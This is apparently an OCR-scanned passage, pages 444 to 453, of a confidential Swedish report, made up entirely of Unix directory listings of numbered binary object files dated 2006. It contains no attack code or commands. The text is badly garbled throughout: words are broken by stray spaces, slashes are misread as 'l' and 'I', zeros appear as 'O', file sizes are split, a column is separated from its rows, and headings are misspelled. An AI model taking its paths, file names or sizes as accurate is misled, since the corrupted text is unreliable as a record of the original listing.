-rwxr-xr-x O 1367 495500 62948 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00003b/82 . b i4 

-rwxr-xr-x O 1367 495500 43 11  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00003b/83 . b i4 

-rwxr-xr-x O 1367 495500 4755 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/b i na r ies/00000000/00000000/00003b/84 .b i4  

-rwxr-xr-x O 1367 495500 5 170 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003b/85 . b i4 

-rwxr-xr-x O 1367 495500 3589 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b ina r ies/00000000/00000000/00003b/86. b i4 

-rwxr-xr-x O 1367 495500 1838 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003 b/87 . b i4 

Strict ly confi denti a l  l Bus i ness Secret l 

Sidan 444 av 574 



Report 

- rwxr-xr-x O 1367 495500 11666 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003b/88 . b i4 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

977 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00003b/9a . b i4 

742 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003b/9b . b i4 

995 Oct 17 2006 /u/d95 5/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00003b/9c .b i4  

1343 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00003b/9d . b i4 

1547 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003b/9e . b i4 

1017 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00003b/9f. b i4 

- rwxr-xr-x O 1367 495500 24002 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ri es/00000000/00000000/00003b/91 . b i4 

- rwxr-xr-x O 1367 495500 24851  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003b/92 . b i4 

-rwxr-xr-x O 1367 495500 1359 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00003b/93 . b i4 

- rwxr-xr-x O 1367 495500 1336 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i na r ies/00000000/00000000/00003b/94 .b i4  

- rwxr-xr-x O 1367 495500 1213 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i n a ries/00000000/00000000/00003b/95 . b i4 

-rwxr-xr-x O 1367 495500 1089 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00003b/96. b i4 

-rwxr-xr-x O 1367 495500 950 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b i n a ries/00000000/00000000/00003b/97 . b i4 

- rwxr-xr-x O 1367 495500 995 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00003b/98 . b i4 

- rwxr-xr-x O 1367 495500 769 Oct 17 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/bi na ries/00000000/00000000/00003b/99 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003c/ 

- rwxr-xr-x O 1367 495500 4438 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003c/04. b i4 

Stri ct ly contident ia  l l Bus i ness Secret l 

Sidan 445 av 574 



Report 

-rwxr-xr-x O 1367 495500 2882 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003c/44. b i4 

-rwxr-xr-x O 1367 495500 7267 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ri es/00000000/00000000/00003c/83 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00003d/ 

-rwxr-xr-x O 1367 495500 36800 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi na r ies/00000000/00000000/00003d/c4 .b i4  

-rwxr-xr-x O 1367 495500 1151  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003d/c5 . b i4 

-rwxr-xr-x O 1367 495500 8217 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003d/04. b i4 

-rwxr-xr-x O 1367 495500 5654 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00003d/44. b i4 

-rwxr-xr-x O 1367 495500 3833 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00003d/85 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000030/ 

-rwxr-xr-x O 1367 495500 58592 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ri es/00000000/00000000/000030/ca . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/000030/cb .b i4  

-rwxr-xr-x O 1367 495500 2 153 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000030/c2 . b i4 

-rwxr-xr-x O 1367 495500 3791 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000030/c4. b i4 

-rwxr-xr-x O 1367 495500 58592 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000030/08 . b i4 

-rwxr-xr-x O 1367 495500 O Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi n a ries/00000000/00000000/000030/09 . b i4 

-rwxr-xr-x O 1367 495500 58592 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b i na r ies/00000000/00000000/000030/43 . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/000030/44. b i4 

-rwxr-xr-x O 1367 495500 58592 Oct 17 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/bi n a ries/00000000/00000000/000030/84 .b i4  

Strictly contident ia  l l Bus i ness Secret l 

Sidan 446 av 574 



Repan 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000030/85 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i na ries/00000000/00000000/00003 1/ 

-rwxr-xr-x O 1367 495500 58592 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000031/c6 . b i4 

- rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00003 1/c7 . b i4 

-rwxr-xr-x O 1367 495500 58592 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000031/0b . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00003 1/0c. b i4 

-rwxr-xr-x O 1367 495500 11363 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000031/04. b i4 

-rwxr-xr-x O 1367 495500 58592 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000031/48 . b i4 

- rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00003 1/49 . b i4 

- rwxr-xr-x O 1367 495500 58592 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/bi n a ries/00000000/00000000/000031/86 . b i4 

- rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00003 1/87 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367/is i s/i pa_620/objects/b i n a ries/00000000/00000000/000032/ 

-rwxr-xr-x O 1367 495500 4290 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000032/c4 .b i4  

-rwxr-xr-x O 1367 495500 58596 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000032/04. b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000032/05 . b i4 

- rwxr-xr-x O 1367 495500 58596 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000032/52 . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi na ries/00000000/00000000/000032/53 . b i4 

- rwxr-xr-x O 1367 495500 50330 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000032/8d . b i4 

Stri ct ly confident i a l  l Bus i ness Secret l 

Sidan 447 av 574 



Report 

- rwxr-xr-x O 1367 495500 9511  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000032/8e . b i4 

- rwxr-xr-x O 1367 495500 11298 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a r ies/00000000/00000000/000032/82 . b i4 

- rwxr-xr-x O 1367 495500 8664 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b ina r ies/00000000/00000000/000032/85 . b i4 

- rwxr-xr-x O 1367 495500 59841 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000032/92 . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000032/93 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/000033/ 

- rwxr-xr-x O 1367 495500 79497 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000033/cl . b i4 

-rwxr-xr-x O 1367 495500 3392 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000033/04. b i4 

- rwxr-xr-x O 1367 495500 3602 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000033/44. b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b i na ries/00000000/00000000/000034/ 

- rwxr-xr-x O 1367 495500 6925 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000034/ce . b i4 

- rwxr-xr-x O 1367 495500 4570 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/000034/cf. b i4 

- rwxr-xr-x O 1367 495500 14401 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000034/dO .b i4  

-rwxr-xr-x O 1367 495500 11500 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi na r ies/00000000/00000000/000034/d l . b i4 

- rwxr-xr-x O 1367 495500 8329 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ri es/00000000/00000000/000034/d3 . b i4 

- rwxr-xr-x O 1367 495500 12905 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000034/d5 . b i4 

- rwxr-xr-x O 1367 495500 5863 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000034/d6 .b i4  

- rwxr-xr-x O 1367 495500 211  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000034/eO. b i4 

Stri ct ly confidenti a l  l Bus iness Secret l 

Sidan 448 av 574 



Report 

-rwxr-xr-x O 1367 495500 1501 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000034/el . b i4 

-rwxr-xr-x O 1367 495500 8715 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000034/e2 . b i4 

-rwxr-xr-x O 1367 495500 39768 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000034/e3 . b i4 

-rwxr-xr-x O 1367 495500 82628 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/000034/e4 .b i4  

-rwxr-xr-x O 1367 495500 140081 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi na r ies/00000000/00000000/000034/0l . b i4 

-rwxr-xr-x O 1367 495500 74198 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000034/42 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi n a ries/00000000/00000000/000035/ 

-rwxr-xr-x O 1367 495500 16107 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r i es/00000000/00000000/000035/ce . b i4 

-rwxr-xr-x O 1367 495500 349 15 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000035/c2 . b i4 

-rwxr-xr-x O 1367 495500 5922 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000035/c3 . b i4 

-rwxr-xr-x O 1367 495500 1228 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/bi n a ries/00000000/00000000/000035/c4 .b i4  

-rwxr-xr-x O 1367 495500 8 101 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000035/c6 . b i4 

-rwxr-xr-x O 1367 495500 24680 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000035/c7 . b i4 

-rwxr-xr-x O 1367 495500 5469 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000035/c8 . b i4 

-rwxr-xr-x O 1367 495500 139852 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi n a ries/00000000/00000000/000035/02 . b i4 

-rwxr-xr-x O 1367 495500 16438 Oct 17 2006 /u/d95 5/DAF1367/is i s/i pa_620/objects/bi n a ries/00000000/00000000/000035/83 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000036/ 

-rwxr-xr-x O 1367 495500 4290 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000036/c2 . b i4 

Stri ct ly contident ia  l l Bus i ness Secret l 

Sidan 449 av 574 



Report 

-rwxr-xr-x O 1367 495500 8047 Oct 17 2006 luld955IDAF1367 l is i sli pa_620iobjectslbi n a r iesiOOOOOOOOIOOOOOOOOI000036I04 .b i4  

-rwxr-xr-x O 1367 495500 3621 Oct 17 2006 luld955IDAF1367 l is i sli pa_620iobjectslbi na r iesiOOOOOOOOIOOOOOOOOI000036I44. b i4 

-rwxr-xr-x O 1367 495500 5872 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi na r iesiOOOOOOOOIOOOOOOOOI000036I84 .b i4  

d rwxr-xr-x O 1367 495500 O Aug 22 2006 luld955IDAF1367 l is isli pa_620iobjectslbi na riesiOOOOOOOOIOOOOOOOOI000037 l 

-rwxr-xr-x O 1367 495500 11104 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000037 lc2 . b i4 

-rwxr-xr-x O 1367 495500 145232 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000037  I01 . b i4 

-rwxr-xr-x O 1367 495500 1646 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi n a r iesiOOOOOOOOIOOOOOOOOI000037 l4a . b i4 

-rwxr-xr-x O 1367 495500 1264 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000037 l44 .b i4  

-rwxr-xr-x O 1367 495500 1546 Oct 17 2006 luld95SIDAF1367 l is isli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000037 l45 . b i4 

-rwxr-xr-x O 1367 495500 1 191  Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi na r iesiOOOOOOOOIOOOOOOOOI000037 l46 . b i4 

-rwxr-xr-x O 1367 495500 82628 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000037 l47 . b i4 

-rwxr-xr-x O 1367 495500 8715 Oct 17 2006 luld955IDAF1367 l is i sli pa_620iobjectslb i n a riesiOOOOOOOOIOOOOOOOOI000037 l48 . b i4 

-rwxr-xr-x O 1367 495500 1501 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000037 l49 . b i4 

-rwxr-xr-x O 1367 495500 4184 Oct 17 2006 luld955IDAF1367 li s i sli pa_620iobjectslbi n a riesiOOOOOOOOIOOOOOOOOI000037 l84 .b i4  

-rwxr-xr-x O 1367 495500 6072 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslbi n a r iesiOOOOOOOOIOOOOOOOOI000037 l87 . b i4 

-rwxr-xr-x O 1367 495500 157026 Oct 17 2006 luld955IDAF1367 l is i sli pa_620iobjectslbi na riesiOOOOOOOOIOOOOOOOOI000037 l88 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 luld955IDAF1367 l is i sli pa_620iobjectslb i n a riesiOOOOOOOOIOOOOOOOOI000038I 

- rwxr-xr-x O 1367 495500 7251 Oct 17 2006 luld955IDAF1367 l is isli pa_620iobjectslb i n a r iesiOOOOOOOOIOOOOOOOOI000038Ic2 . b i4 

Strictly confident i a l  l Bus i ness Secret l 

Sidan 450 av 574 



Repon 

-rwxr-xr-x O 1367 495500 9228 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000038/02 . b i4 

-rwxr-xr-x O 1367 495500 9228 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000038/8l . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367/ is i s/i pa_620/objects/b i n a ries/00000000/00000000/000039/ 

-rwxr-xr-x O 1367 495500 5943 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000039/c3 . b i4 

-rwxr-xr-x O 1367 495500 3 164 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000039/c6. b i4 

-rwxr-xr-x O 1367 495500 8846 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i na r ies/00000000/00000000/000039/05 . b i4 

-rwxr-xr-x O 1367 495500 3859 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi n a ries/00000000/00000000/000039/43 . b i4 

-rwxr-xr-x O 1367 495500 15131  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000039/83 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00004b/ 

-rwxr-xr-x O 1367 495500 57013 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00004b/cb .b i4 

-rwxr-xr-x O 1367 495500 23144 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00004b/cc .b i4  

-rwxr-xr-x O 1367 495500 1403 Oct 17 2006 /u/d955/DAF1367/ is i s/i pa_620/objects/bi n a ri es/00000000/00000000/00004b/cd .b i4  

-rwxr-xr-x O 1367 495500 51127 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00004b/ce .b i4  

-rwxr-xr-x O 1367 495500 11333 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/bi na r ies/00000000/00000000/00004b/cf. b i4 

-rwxr-xr-x O 1367 495500 44810 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00004b/c5 .b i4  

-rwxr-xr-x O 1367 495500 35301 Oct 17 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/bi na ries/00000000/00000000/00004b/c6. b i4 

-rwxr-xr-x O 1367 495500 18989 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00004b/c7 .b i4  

-rwxr-xr-x O 1367 495500 20553 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/bi n a ri es/00000000/00000000/00004b/c8 .b i4  

Stri ct ly confidenti a l  l Bus i ness Secret l 

Sidan 451  av 574 



Sidan 452 av 574 
Report 

-rwxr-xr-x O 1367 495500 1322 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/c9 . b i4 

-rwxr-xr-x O 1367 495500 19840 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/da . b i4 

-rwxr-xr-x O 1367 495500 169 15 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/db . b i4 

-rwxr-xr-x O 1367 495500 5856 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00004b/dc .b i4  

-rwxr-xr-x O 1367 495500 6260 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/dd . b i4 

- rwxr-xr-x O 1367 495500 20084 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00004b/de . b i4 

-rwxr-xr-x O 1367 495500 22323 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00004b/df. b i4 

-rwxr-xr-x O 1367 495500 17406 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/d l . b i4 

- rwxr-xr-x O 1367 495500 14971 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00004b/d2 . b i4 

-rwxr-xr-x O 1367 495500 10903 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00004b/d3 . b i4 

-rwxr-xr-x O 1367 495500 33762 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00004b/d4. b i4 

- rwxr-xr-x O 1367 495500 37135 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/d5 . b i4 

- rwxr-xr-x O 1367 495500 3714 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/d6 . b i4 

-rwxr-xr-x O 1367 495500 2945 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00004b/d7 . b i4 

- rwxr-xr-x O 1367 495500 7573 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00004b/d8 . b i4 

- rwxr-xr-x O 1367 495500 4987 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/b ina r ies/00000000/00000000/00004b/d9 . b i4 

- rwxr-xr-x O 1367 495500 22886 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00004b/ea . b i4 

-rwxr-xr-x O 1367 495500 1294 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ri es/00000000/00000000/00004b/eb . b i4 

Stri ct ly confidenti a l  l Bus iness Secret l 



Sidan 453 av 574 
Report 

-rwxr-xr-x O 1367 495500 26861 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00004b/ec. b i4 

-rwxr-xr-x O 1367 495500 19432 Oct 17 2006 /u/d95 5/DAF1367 / is is/i pa_620/objects/bi n a r ies/00000000/00000000/00004b/ed . b i4 

-rwxr-xr-x O 1367 495500 16658 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00004b/ee . b i4 

-rwxr-xr-x O 1367 495500 17591 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00004b/ef .b i4 

-rwxr-xr-x O 1367 495500 49102 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00004b/eO.b i4 

-rwxr-xr-x O 1367 495500 34051 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00004b/el . b i4 

-rwxr-xr-x O 1367 495500 17462 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00004b/e2 . b i4 

-rwxr-xr-x O 1367 495500 17166 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/e3 . b i4 

-rwxr-xr-x O 1367 495500 40205 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00004b/e4 .b i4  

-rwxr-xr-x O 1367 495500 23602 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00004b/e5 . b i4 

-rwxr-xr-x O 1367 495500 28672 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00004b/e6. b i4 

-rwxr-xr-x O 1367 495500 88771  Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/bi n a ri es/00000000/00000000/00004b/e7 . b i4 

-rwxr-xr-x O 1367 495500 11120 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00004b/e8 .b i4  

-rwxr-xr-x O 1367 495500 23601 Oct 17 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/e9 . b i4 

-rwxr-xr-x O 1367 495500 15479 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00004b/fa . b i4 

-rwxr-xr-x O 1367 495500 7495 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/fb . b i4 

-rwxr-xr-x O 1367 495500 23707 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00004b/fc . b i4 

-rwxr-xr-x O 1367 495500 359 11  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00004b/fd . b i4 

Stri ct ly confident i a l  l Bus i ness Secret l 



Report 

-rwxr-xr-x O 1367 495500 17067 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00004b/fe . b i4 

-rwxr-xr-x O 1367 495500 23600 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/ff. b i4 

-rwxr-xr-x O 1367 495500 24981  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00004b/fO. b i4 

-rwxr-xr-x O 1367 495500 12591 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/fl . b i4 

-rwxr-xr-x O 1367 495500 7048 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00004b/f2 . b i4 

-rwxr-xr-x O 1367 495500 7597 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00004b/f3 . b i4 

-rwxr-xr-x O 1367 495500 46356 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00004b/f4 .b i4  

